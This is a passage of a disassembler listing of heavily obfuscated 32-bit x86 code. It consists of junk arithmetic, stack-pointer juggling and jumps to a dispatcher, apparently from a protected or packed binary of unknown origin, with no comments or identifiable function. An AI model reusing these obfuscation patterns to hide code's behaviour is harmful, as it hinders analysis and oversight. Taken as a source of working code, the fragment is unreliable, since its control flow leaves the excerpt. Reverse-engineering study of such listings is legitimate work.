		xchg	edi, [esp+6+var_8+2]
		jmp	loc_5640F0
; ---------------------------------------------------------------------------


loc_57042B:				; CODE XREF: sub_562ABA-48ADj
		mov	[esp+6+var_8+2], ecx
		push	small 5577h
		mov	word ptr [esp+8+var_8],	bx
		mov	bl, 5Bh
		jmp	loc_5658D1
; ---------------------------------------------------------------------------


loc_57043D:				; CODE XREF: sub_562ABA+71EDj
		mov	[esp+46h+var_46], edx
		mov	edx, 15114F85h
		sub	edx, 0FFFFFFFFh
		shl	edx, 5
		jmp	loc_5673A3
; ---------------------------------------------------------------------------


loc_570450:				; CODE XREF: sub_562ABA+BE37j
		pop	[esp+26h+var_28+2]
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_570459:				; CODE XREF: sub_562ABA+BC58j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+3Ah+var_3A]
		pop	esp
		mov	[esp+36h+var_36], ecx
		mov	ecx, 1D906F1h
		inc	ecx
		sub	ecx, 1D906F0h
		push	esi
		mov	esi, 6DF131C8h
		jmp	loc_5687BB
; ---------------------------------------------------------------------------


loc_570481:				; CODE XREF: sub_562ABA-35BFj
		mov	esi, [esp+0]
		add	esp, 4
		pop	[esp+2Ah+var_2C+2]
		pop	esp
		pop	[esp+22h+var_22]
		mov	esp, [esp+1Eh+var_1E]
		ror	[esp+1Eh+var_1E], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+22h+var_22]
		push	7F9Eh
		mov	[esp+26h+var_28+2], eax
		push	ebx
		jmp	loc_56D08E
; ---------------------------------------------------------------------------


loc_5704AF:				; CODE XREF: sub_562ABA-3D43j
		mov	esp, [esp+16h+var_16]
		jmp	sub_55E972
; ---------------------------------------------------------------------------


loc_5704B7:				; CODE XREF: sub_562ABA+8265j
		mov	esp, [esp+0]
		or	[edi+1Ch], edx
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_32]
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5704D4:				; CODE XREF: sub_562ABA+4174j
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	56BAh
		mov	[esp+1Eh+var_1E], eax
		mov	eax, 6EBE0EC8h
		jmp	loc_562550
; ---------------------------------------------------------------------------


loc_5704EC:				; CODE XREF: sub_562ABA+B813j
		pop	ax
		inc	bh
		inc	bh
		xor	bh, 0EFh
		add	al, bh
		pop	ebx
		add	al, bl
		push	small 5893h
		mov	word ptr [esp+40h+var_42+2], dx
		mov	dl, 60h
		push	ebx
		mov	bh, 85h
		xchg	cl, bh
		not	cl
		xchg	cl, bh
		neg	bh
		jmp	loc_55E395
; ---------------------------------------------------------------------------


loc_570514:				; CODE XREF: sub_562ABA+5305j
		pop	edx
		xor	al, cl
		pop	cx
		inc	al
		push	edx
		mov	dh, 24h
		shl	dh, 2
		shl	dh, 5
		sub	dh, 8Fh
		xor	al, dh
		jmp	loc_56CDC6
; ---------------------------------------------------------------------------


loc_57052E:				; CODE XREF: sub_562ABA+B8EEj
		mov	ebx, eax
		jmp	loc_56228A
; ---------------------------------------------------------------------------


loc_570535:				; CODE XREF: sub_562ABA+222Fj
		pop	ecx
		xchg	edx, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 38D70C91h
		add	[esp+8+var_4], 10135E7Ch
		add	[esp+8+var_4], 23013A22h
		sub	[esp+8+var_4], ebx
		sub	[esp+8+var_4], 23013A22h
		sub	[esp+8+var_4], 10135E7Ch
		mov	ebx, [esp+8+var_8]
		jmp	loc_56165F
; ---------------------------------------------------------------------------


loc_570574:				; CODE XREF: sub_562ABA+B616j
		add	bl, al
		jmp	loc_56297E
; ---------------------------------------------------------------------------


loc_57057B:				; CODE XREF: sub_562ABA-34CEj
		push	edx
		jmp	loc_566730
; ---------------------------------------------------------------------------


loc_570581:				; CODE XREF: sub_562ABA-38EBj
		push	4
		pop	esi
		jmp	loc_565F2B
; ---------------------------------------------------------------------------


loc_57058C:				; CODE XREF: sub_562ABA+F715j
		add	ebp, 4
		xchg	ebp, [esp+3Eh+var_3E]
		pop	esp
		sub	esp, 4
		mov	[esp+3Eh+var_3E], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xor	edx, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], edx
		jmp	loc_570769
; ---------------------------------------------------------------------------


loc_5705B5:				; CODE XREF: sub_562ABA+8Fj
		mov	ecx, [esp+16h+var_16]
		add	esp, 4
		sub	[esp+12h+var_C+2], 7CF518Ch
		jmp	loc_56DF21
; ---------------------------------------------------------------------------


loc_5705C8:				; CODE XREF: sub_562ABA-2345j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5705CD:				; CODE XREF: sub_562ABA+D41Bj
		mov	esp, [esp+2Ah+var_2C+2]
		jmp	loc_56838D
; ---------------------------------------------------------------------------


loc_5705D5:				; CODE XREF: sub_562ABA+9ADEj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 1F8E5A89h
		xor	edx, 4673616Eh
		inc	edx
		sub	edx, 5AAB606Fh
		xor	edx, 0FF51DB7Dh
		jmp	loc_5720C6
; ---------------------------------------------------------------------------


loc_5705FC:				; CODE XREF: sub_562ABA+30EAj
		not	esi
		push	286h
		mov	[esp+18h+var_1A+2], ebx
		mov	ebx, 3F10FCDh
		xor	esi, ebx
		pop	ebx
		add	eax, 57B470E6h
		add	eax, esi
		jmp	loc_56AD2C
; ---------------------------------------------------------------------------


loc_57061A:				; CODE XREF: sub_562ABA+7B9j
		sub	si, 3BCh
		and	si, 19B9h
		add	si, 1
		shr	si, 4
		jmp	loc_55FE41
; ---------------------------------------------------------------------------


loc_570632:				; CODE XREF: sub_562ABA+5D59j
		push	[esp+1Eh+var_1E]
		pop	eax
		sub	esp, 4
		mov	[esp+22h+var_22], edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_568B9F
; ---------------------------------------------------------------------------


loc_570647:				; CODE XREF: sub_562ABA+F64Fj
		mov	[esp+26h+var_28+2], esi
		mov	esi, ebx
		mov	ebp, esi
		mov	esi, [esp+26h+var_28+2]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp+2Ah+var_2C+2]
		pop	esp
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	0A7Dh
		mov	[esp+22h+var_22], eax
		xor	[esp+22h+var_22], ecx
		xor	ecx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ecx
		push	ecx
		xchg	ebp, [esp+26h+var_28+2]
		not	ebp
		xor	[esp+26h+var_28+2], ebp
		xor	ebp, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], ebp
		jmp	loc_56748C
; ---------------------------------------------------------------------------


loc_57069D:				; CODE XREF: sub_55FCA5+9Fj
		add	edi, 4
		jmp	loc_563468
; ---------------------------------------------------------------------------


loc_5706A8:				; CODE XREF: sub_562ABA-1C0Fj
		sub	edx, ebp
		jmp	loc_56D535
; ---------------------------------------------------------------------------


loc_5706AF:				; CODE XREF: sub_562ABA-57Bj
		xor	eax, 271E5F7Bh
		or	ecx, eax
		pop	eax
		sub	ecx, 3E7E7F6Ch
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		push	[esp+2Eh+var_2C+2]
		jmp	loc_570C6A
; ---------------------------------------------------------------------------


loc_5706D5:				; CODE XREF: sub_562ABA+37F3j
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xor	esi, [esp+36h+var_36]
		jmp	loc_56C1FB
; ---------------------------------------------------------------------------


loc_5706E6:				; CODE XREF: sub_562ABA-4091j
		sub	esp, 4
		mov	[esp+16h+var_16], esi
		push	ebx
		push	40842323h
		mov	ebx, [esp+1Eh+var_1E]
		jmp	loc_569123
; ---------------------------------------------------------------------------


loc_5706FA:				; CODE XREF: sub_562ABA+C30Aj
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	ecx
		push	edi
		mov	edi, 280B241Ch
		jmp	loc_5684B1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_56724A
; ---------------------------------------------------------------------------


loc_570718:				; CODE XREF: sub_562ABA+6847j
		or	eax, eax
		jnz	loc_56880B
		push	ebp
		mov	ebp, esp
		jmp	loc_571E04
; ---------------------------------------------------------------------------


loc_570728:				; CODE XREF: sub_562ABA+2C41j
		push	ebx
		push	[esp+6+var_8+2]
		mov	esi, [esp+0Ah+var_C+2]
		push	ebp
		push	esp
		jmp	loc_56DC84
; ---------------------------------------------------------------------------


loc_570736:				; CODE XREF: sub_562ABA+5B84j
		add	esp, 4
		jmp	loc_561CB6
; ---------------------------------------------------------------------------


loc_570741:				; CODE XREF: sub_562ABA+CA6Cj
		sub	al, 0C4h
		add	al, 51h
		add	al, bl
		sub	al, 51h
		push	5362h
		mov	[esp+1Eh+var_1E], ebx
		push	eax
		jmp	loc_56D708
; ---------------------------------------------------------------------------


loc_570757:				; CODE XREF: sub_562ABA-2733j
		sub	dword ptr [ecx], 31A074CDh
		push	[esp-10h+arg_C]
		pop	edx
		add	esp, 4
		jmp	loc_566676
; ---------------------------------------------------------------------------


loc_570769:				; CODE XREF: sub_562ABA+DAF6j
		xor	edx, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_569D4D
; ---------------------------------------------------------------------------


loc_570774:				; CODE XREF: sub_562ABA+3856j
		add	[esp+6+var_8+2], 4
		pop	ebx
		push	eax
		mov	eax, 0DC07CDBh
		xor	eax, 5B9E7DB2h
		jmp	loc_5625E4
; ---------------------------------------------------------------------------


loc_570789:				; CODE XREF: sub_562ABA+196Fj
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	sub_55E72D
; ---------------------------------------------------------------------------


loc_570796:				; CODE XREF: sub_562ABA-A5Dj
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_569A30
; ---------------------------------------------------------------------------


loc_5707A5:				; CODE XREF: sub_562ABA+F927j
		mov	ebx, 32316506h
		jmp	loc_566D15
; ---------------------------------------------------------------------------


loc_5707AF:				; CODE XREF: sub_562ABA+4F1j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_566C7B
; ---------------------------------------------------------------------------


loc_5707C3:				; CODE XREF: sub_562ABA+88AFj
		pop	ebx
		jmp	loc_560DB0
; ---------------------------------------------------------------------------


loc_5707C9:				; CODE XREF: sub_562ABA+F4Dj
		mov	ebx, 92737637h
		jmp	loc_560B2E
; ---------------------------------------------------------------------------


loc_5707D3:				; CODE XREF: sub_562ABA+DF95j
		mov	[esp+32h+var_32], edi
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		jmp	loc_565F59
; ---------------------------------------------------------------------------


loc_5707E4:				; CODE XREF: sub_562ABA-213Dj
		shr	edx, 5
		xor	edx, 145D3AF3h
		xor	edx, 27F21CE2h
		and	ebp, edx
		pop	edx
		not	ebp
		not	ebp
		inc	ebp
		sub	ebp, 13420046h
		mov	ecx, ebp
		jmp	loc_567EC8
; ---------------------------------------------------------------------------


loc_570808:				; CODE XREF: sub_562ABA-1DAEj
		pop	esp
		push	2D19h
		mov	[esp-0Ah+arg_4+2], eax
		mov	eax, 19332943h
		dec	eax
		not	eax
		jmp	loc_57182E
; ---------------------------------------------------------------------------


loc_57081E:				; CODE XREF: sub_562ABA+AD28j
		push	ebx
		mov	bl, 0D7h
		jmp	loc_56299E
; ---------------------------------------------------------------------------


loc_570826:				; CODE XREF: sub_562ABA+8B5j
		pop	eax
		jmp	loc_56BBFD
; ---------------------------------------------------------------------------


loc_57082C:				; CODE XREF: sub_562ABA+AA20j
		mov	ebx, [esp+2+var_4+2]
		add	esp, 4
		pop	dword ptr [esp+0]
		jmp	loc_56B8A9
; ---------------------------------------------------------------------------


loc_57083A:				; CODE XREF: sub_55FCA5+2A3j
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp-2+arg_0+2]
		jmp	loc_568FCF
; ---------------------------------------------------------------------------


loc_57084D:				; CODE XREF: sub_562ABA+8D23j
		mov	ebx, 7A537CE9h
		push	ecx
		mov	ecx, 66E30138h
		add	ecx, 13235039h
		shr	ecx, 8
		jmp	loc_564C00
; ---------------------------------------------------------------------------


loc_570866:				; CODE XREF: sub_562ABA+C7C9j
		xchg	edi, [esp+32h+var_32]
		jmp	loc_55E316
; ---------------------------------------------------------------------------


loc_57086E:				; CODE XREF: sub_562ABA+4D0j
		pop	ecx
		add	edx, esi
		pop	esi
		xor	edx, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], edx
		xor	edx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		dec	byte ptr [esp+10h+var_12+2]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_570887:				; CODE XREF: sub_562ABA-2EC9j
		shr	ecx, 7
		shl	ecx, 6
		add	ecx, 0AF76DD04h
		add	ebp, ecx
		jmp	loc_568529
; ---------------------------------------------------------------------------


loc_57089A:				; CODE XREF: sub_562ABA+C69Fj
		push	3316h
		mov	[esp+1Ah+var_1A], esi
		push	1
		pop	esi
		and	eax, esi
		mov	esi, [esp+1Ah+var_1A]
		push	4B26h
		mov	[esp+1Eh+var_1E], ebx
		mov	ebx, esp
		jmp	loc_567F50
; ---------------------------------------------------------------------------


loc_5708BC:				; CODE XREF: sub_562ABA+FB33j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5708C1:				; CODE XREF: sub_562ABA+96B5j
		mov	edi, 14FE1CCDh
		and	ebp, edi
		pop	edi
		sub	ebp, 95918BF4h
		sub	eax, 49962F7h
		add	eax, ebp
		push	ebx
		mov	ebx, 64BD6579h
		neg	ebx
		dec	ebx
		push	edx
		jmp	loc_568A0C
; ---------------------------------------------------------------------------


loc_5708E5:				; CODE XREF: sub_562ABA+4508j
		add	esp, 4
		xchg	ebx, [esp+16h+var_16]
		jmp	loc_56E6A7
; ---------------------------------------------------------------------------


loc_5708F0:				; CODE XREF: sub_562ABA+D0EAj
		not	edx
		jmp	loc_570099
; ---------------------------------------------------------------------------


loc_5708F7:				; CODE XREF: sub_562ABA-3716j
		push	69B6h
		mov	[esp+22h+var_22], eax
		mov	eax, 154B593Dh
		push	44C3h
		mov	[esp+26h+var_28+2], esi
		push	ecx
		mov	ecx, 5AAA6300h
		mov	esi, ecx
		pop	ecx
		or	eax, esi
		mov	esi, [esp+26h+var_28+2]
		add	esp, 4
		push	esi
		mov	esi, 7F2B0C17h
		sub	esi, 18932970h
		jmp	loc_5645A5
; ---------------------------------------------------------------------------


loc_570931:				; CODE XREF: sub_562ABA+3F22j
		pop	ebp
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		push	ebx
		not	[esp+2Ch+var_2C]
		jmp	loc_5661B2
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+2Ch+var_2C]
		jmp	loc_561C1A
; ---------------------------------------------------------------------------


loc_57094A:				; CODE XREF: sub_562ABA+7E48j
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_56F575
; ---------------------------------------------------------------------------


loc_570958:				; CODE XREF: sub_562ABA+6CB6j
		sub	esi, 3C433F6h
		jmp	loc_561A47
; ---------------------------------------------------------------------------


loc_570963:				; CODE XREF: sub_562ABA-47F8j
		add	esp, 4
		pop	[esp-6+arg_0+2]
		pop	esp
		push	[esp-0Eh+arg_8+2]
		jmp	loc_55ED5D
; ---------------------------------------------------------------------------


loc_570975:				; CODE XREF: sub_562ABA+5928j
		add	ecx, 158B700Ch
		jmp	loc_560323
; ---------------------------------------------------------------------------


loc_570980:				; CODE XREF: sub_562ABA+A4C3j
		push	edx
		push	edi
		jmp	loc_56273E
; ---------------------------------------------------------------------------


loc_570987:				; CODE XREF: sub_562ABA+8C86j
		xor	ebp, ecx
		pop	ecx
		or	eax, ebp
		pop	ebp
		sub	eax, 21B1E78h
		push	esi
		mov	esi, 51876D55h
		sub	esi, 425F09C8h
		add	eax, esi
		pop	esi
		jmp	loc_55E6E3
; ---------------------------------------------------------------------------


loc_5709A6:				; CODE XREF: sub_562ABA+541Aj
		pop	edx
		jmp	loc_571652
; ---------------------------------------------------------------------------


loc_5709AC:				; CODE XREF: sub_562ABA+580Ej
		dec	edi
		push	eax
		mov	eax, 3E296858h
		and	eax, 0C8E5585h
		sub	eax, 27467DDh
		jmp	loc_571852
; ---------------------------------------------------------------------------


loc_5709C2:				; CODE XREF: sub_562ABA-1612j
		add	esp, 4
		xor	dl, 0B9h
		neg	dl
		sub	dl, 2Ch
		jmp	loc_565FFC
; ---------------------------------------------------------------------------


loc_5709D2:				; CODE XREF: sub_562ABA+9151j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5709D7:				; CODE XREF: sub_562ABA+7BFEj
		pop	edx
		push	eax
		mov	eax, 253A1A49h
		sub	eax, 0E48ACCEDh
		sub	ebx, eax
		pop	eax
		sub	ebx, edi
		add	ebx, 40AF4D5Ch
		pop	edi
		sub	ebx, 5FED07E8h
		jmp	loc_568D42
; ---------------------------------------------------------------------------


loc_5709FA:				; CODE XREF: sub_562ABA+E5E7j
		push	800h
		push	dword ptr [esp+0]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 42B537DFh
		xchg	edi, ebp
		not	edi
		push	ebp
		push	edi
		jmp	loc_571E5E
; ---------------------------------------------------------------------------


loc_570A2F:				; CODE XREF: sub_562ABA+6CF4j
		push	ecx
		mov	ecx, 4
		jmp	loc_562217
; ---------------------------------------------------------------------------


loc_570A3A:				; CODE XREF: sub_562ABA+FDA2j
		pop	edx
		inc	edx
		jmp	loc_562158
; ---------------------------------------------------------------------------


loc_570A41:				; CODE XREF: sub_562ABA+4862j
		mov	esp, [esp+3Eh+var_3E]
		imul	cl
		movzx	cx, ah
		push	50C8h
		jmp	loc_5707D3
; ---------------------------------------------------------------------------


loc_570A54:				; CODE XREF: sub_562ABA+9C6Ej
		push	51C91D14h
		pop	ecx
		not	ecx
		xor	ecx, 0E8ECC11Ah
		push	ecx
		add	[esp+16h+var_16], 54DB779Ah
		pop	ebp
		sub	ebp, 54DB779Ah
		pop	ecx
		shl	ebp, 7
		jmp	loc_562488
; ---------------------------------------------------------------------------


loc_570A7A:				; CODE XREF: sub_562ABA+3283j
		pop	edx
		push	3A52h
		mov	[esp-4+arg_0], ecx
		jmp	loc_571F7C
; ---------------------------------------------------------------------------


loc_570A88:				; CODE XREF: sub_562ABA+6EC3j
		push	edi
		jmp	loc_564797
; ---------------------------------------------------------------------------


loc_570A8E:				; CODE XREF: sub_562ABA+BF31j
		mov	fs:[edx], al
		jmp	loc_56C018
; ---------------------------------------------------------------------------


loc_570A96:				; CODE XREF: sub_562ABA+B3EDj
		add	ebp, 0A0000002h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_56E982
; ---------------------------------------------------------------------------


loc_570AA7:				; CODE XREF: sub_562ABA+A903j
		push	esi
		mov	esi, 0E515A78h
		and	ecx, esi
		push	[esp+1Eh+var_1E]
		jmp	loc_564CD5
; ---------------------------------------------------------------------------


loc_570AB7:				; CODE XREF: sub_562ABA+76E8j
		pop	ecx
		xor	edi, 15B5BEE9h
		mov	edx, edi
		pop	edi
		sub	edx, 2C5E5055h
		mov	ebx, edx
		pop	edx
		sub	[edi+24h], ebx
		push	[esp+8+var_8]
		pop	ebx
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_5687F3
; ---------------------------------------------------------------------------


loc_570ADA:				; CODE XREF: sub_562ABA+5F33j
		pop	ebx
		pop	esi
		xor	edi, edx
		mov	edx, [esp+12h+var_12]
		add	esp, 4
		mov	eax, edi
		pop	edi
		and	ecx, eax
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		shr	ecx, 0Ah
		jmp	loc_56CC9F
; ---------------------------------------------------------------------------


loc_570AFA:				; CODE XREF: sub_562ABA-3477j
		mov	esp, [esp+26h+var_28+2]
		mov	word ptr [esp+26h+var_28+2], si
		push	cx
		pop	si
		mov	cx, word ptr [esp+26h+var_28+2]
		jmp	loc_56F28E
; ---------------------------------------------------------------------------


loc_570B0E:				; CODE XREF: sub_562ABA+41BCj
		neg	edx
		jmp	loc_564A04
; ---------------------------------------------------------------------------


loc_570B15:				; CODE XREF: sub_562ABA+C622j
		dec	edx
		jmp	loc_565BB2
; ---------------------------------------------------------------------------


loc_570B1B:				; CODE XREF: sub_562ABA+16j
		pop	ebx
		not	ebp
		inc	ebp
		shl	ebp, 5
		jmp	loc_560744
; ---------------------------------------------------------------------------


loc_570B27:				; CODE XREF: sub_562ABA+5188j
		push	16E8h
		mov	[esp+32h+var_32], edx
		mov	edx, 4
		jmp	loc_563F7D
; ---------------------------------------------------------------------------


loc_570B39:				; CODE XREF: sub_562ABA+AA0Cj
		mov	edx, 395C4EACh
		jmp	loc_56F026
; ---------------------------------------------------------------------------


loc_570B43:				; CODE XREF: sub_562ABA+4A80j
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ch, 0CBh
		dec	ch
		shr	ch, 5
		push	ebx
		jmp	loc_56290C
; ---------------------------------------------------------------------------


loc_570B56:				; CODE XREF: sub_562ABA+56D9j
		add	ebp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebp
		xor	ebp, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_5616CA
; ---------------------------------------------------------------------------


loc_570B7B:				; CODE XREF: sub_562ABA+244Ej
		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 4
		push	edi
		mov	edi, 7E6A6A4Ch
		add	[esp+10h+var_8], edi
		pop	edi
		add	[esp+0Ch+var_8], ebx
		sub	[esp+0Ch+var_8], 7E6A6A4Ch
		pop	ebx
		mov	ebp, [esp+8+var_8]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_569775
; ---------------------------------------------------------------------------


loc_570BC2:				; CODE XREF: sub_562ABA+D0DFj
		add	[esp+34h+var_32+2], 61842231h
		jmp	loc_55E4C3
; ---------------------------------------------------------------------------


loc_570BCF:				; CODE XREF: sub_562ABA+9FD7j
		push	4
		mov	ebp, [esp+46h+var_46]
		jmp	loc_568732
; ---------------------------------------------------------------------------


loc_570BDC:				; CODE XREF: sub_562ABA+36DEj
		mov	ch, 9Ch
		and	ch, 87h
		add	ch, 96h
		add	ch, 5
		sub	bl, ch
		jmp	loc_565BEE
; ---------------------------------------------------------------------------


loc_570BEE:				; CODE XREF: sub_562ABA-26D4j
		mov	edx, esp
		add	edx, 4
		jmp	loc_56FB0C
; ---------------------------------------------------------------------------


loc_570BFB:				; CODE XREF: sub_562ABA+2B6Ej
		pop	ebx
		add	[esp+4], esi
		pop	esi
		mov	esi, [esp+0]
		add	esp, 4
		add	esi, 4
		push	ebp
		push	1DBA4220h
		pop	ebp
		add	ebp, 0E245BDE4h
		sub	esi, 4CDC22FBh
		jmp	loc_56133F
; ---------------------------------------------------------------------------


loc_570C25:				; CODE XREF: sub_562ABA+33Aj
		mov	edx, 79800C84h
		add	ebp, edx
		pop	edx
		sub	ebp, 7B746520h
		mov	ebx, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_56900B
; ---------------------------------------------------------------------------


loc_570C3E:				; CODE XREF: sub_562ABA+D796j
		pop	edx
		push	esi
		mov	esi, 29804C04h
		xor	eax, esi
		jmp	loc_568AAE
; ---------------------------------------------------------------------------


loc_570C4C:				; CODE XREF: sub_562ABA-2093j
		mov	edx, ebp
		jmp	loc_569F20
; ---------------------------------------------------------------------------


loc_570C53:				; CODE XREF: sub_562ABA+A2C6j
		mov	eax, 470F4E4Ch
		jmp	loc_55F418
; ---------------------------------------------------------------------------


loc_570C5D:				; CODE XREF: sub_562ABA+A647j
					; sub_562ABA+ADCDj
		push	2A14h
		mov	[esp+8+var_8], edx
		jmp	loc_56FEBE
; ---------------------------------------------------------------------------


loc_570C6A:				; CODE XREF: sub_562ABA+DC16j
		mov	ecx, [esp+32h+var_32]
		push	edx
		push	esp
		pop	edx
		jmp	loc_562A61
; ---------------------------------------------------------------------------


loc_570C75:				; CODE XREF: sub_562ABA+7FE0j
		push	[esp+32h+var_32]
		pop	esi
		jmp	sub_561D56
; ---------------------------------------------------------------------------


loc_570C7E:				; CODE XREF: sub_562ABA+7679j
		add	esp, 4
		push	2C49h
		mov	[esp+0], edi
		jmp	loc_567B70
; ---------------------------------------------------------------------------


loc_570C91:				; CODE XREF: sub_562ABA+3B26j
		push	6702h
		jmp	loc_56B7DA
; ---------------------------------------------------------------------------


loc_570C9B:				; CODE XREF: sub_562ABA+D633j
		pop	bx
		sub	bx, 34h
		mov	si, bx
		push	[esp+18h+var_1A+2]
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], ebx
		jmp	loc_560F20
; ---------------------------------------------------------------------------


loc_570CC3:				; CODE XREF: sub_562ABA+9F85j
		mov	edx, esp
		jmp	loc_569751
; ---------------------------------------------------------------------------


loc_570CCA:				; CODE XREF: sub_562ABA+41E3j
		mov	ebp, 188F1706h
		mov	edi, 188F1716h
		push	ecx
		jmp	loc_560611
; ---------------------------------------------------------------------------


loc_570CDA:				; CODE XREF: sub_562ABA-F89j
		inc	ebp
		jmp	loc_56DF66
; ---------------------------------------------------------------------------


loc_570CE0:				; CODE XREF: sub_562ABA+A0E7j
		sub	eax, ebx
		pop	ebx
		or	eax, 1FC45F7Eh
		add	eax, 0B0FD4A8Bh
		or	eax, 25250A03h
		dec	eax
		push	edi
		mov	edi, 146F154Bh
		jmp	loc_563E4E
; ---------------------------------------------------------------------------


loc_570CFE:				; CODE XREF: sub_562ABA-32CDj
		mov	ebx, esi
		pop	esi
		sub	[esp+1Eh+var_1A], ebx
		push	[esp+1Eh+var_1E]
		jmp	loc_56A9D2
; ---------------------------------------------------------------------------


loc_570D0D:				; CODE XREF: sub_562ABA+7715j
		sub	al, dl
		push	dx
		mov	dl, 23h
		add	al, dl
		mov	dx, word ptr [esp+1Ah+var_1A]
		add	esp, 2
		pop	edx
		jmp	loc_568124
; ---------------------------------------------------------------------------


loc_570D25:				; CODE XREF: sub_562ABA+A89Dj
		add	ebp, 329E665Eh
		mov	eax, [esp+14h+var_16+2]
		push	17FFh
		mov	[esp+18h+var_1A+2], ecx
		push	esp
		pop	ecx
		push	277Fh
		jmp	loc_56650E
; ---------------------------------------------------------------------------


loc_570D42:				; CODE XREF: sub_562ABA+F67Dj
		neg	dl
		shr	dl, 2
		jmp	loc_56A213
; ---------------------------------------------------------------------------


loc_570D4C:				; CODE XREF: sub_562ABA+934j
		xor	ecx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_565BA9
; ---------------------------------------------------------------------------


loc_570D57:				; CODE XREF: sub_562ABA+E824j
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ecx
		push	0E94h
		mov	[esp+1Eh+var_1E], edi
		jmp	loc_560E5D
; ---------------------------------------------------------------------------


loc_570D74:				; CODE XREF: sub_562ABA-3E51j
		pop	eax
		xor	ch, 6Dh
		jmp	loc_56CB67
; ---------------------------------------------------------------------------


loc_570D7D:				; CODE XREF: sub_562ABA+29Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+52h+var_52]
		pop	esp
		jmp	loc_55F1B1
; ---------------------------------------------------------------------------


loc_570D92:				; CODE XREF: sub_562ABA+49ACj
		shl	edx, 3
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_572A5A
; ---------------------------------------------------------------------------


loc_570DA0:				; CODE XREF: sub_562ABA+645Bj
		pop	bx
		jmp	loc_56F66A
; ---------------------------------------------------------------------------


loc_570DA7:				; CODE XREF: sub_562ABA+FAA9j
		add	esp, 4
		jmp	loc_560584
; ---------------------------------------------------------------------------


loc_570DAF:				; CODE XREF: sub_562ABA-3C75j
		pop	ecx
		jmp	loc_56F478
; ---------------------------------------------------------------------------


loc_570DB5:				; CODE XREF: sub_562ABA+56F6j
		xor	edi, 49745ECDh
		jmp	loc_56126A
; ---------------------------------------------------------------------------


loc_570DC0:				; CODE XREF: sub_562ABA+AE53j
		mov	ah, 0ABh
		jmp	loc_566FD7
; ---------------------------------------------------------------------------


loc_570DC7:				; CODE XREF: sub_562ABA+338Dj
		xor	eax, [esp+22h+var_22]
		xor	[esp+22h+var_22], eax
		jmp	loc_571159
; ---------------------------------------------------------------------------


loc_570DD2:				; CODE XREF: sub_562ABA+98A5j
		and	cl, 10h
		push	ebx
		jmp	loc_571421
; ---------------------------------------------------------------------------


loc_570DDB:				; CODE XREF: sub_571CD8+Ej
		xor	ebx, 1E506035h
		add	ebx, 0D2610042h
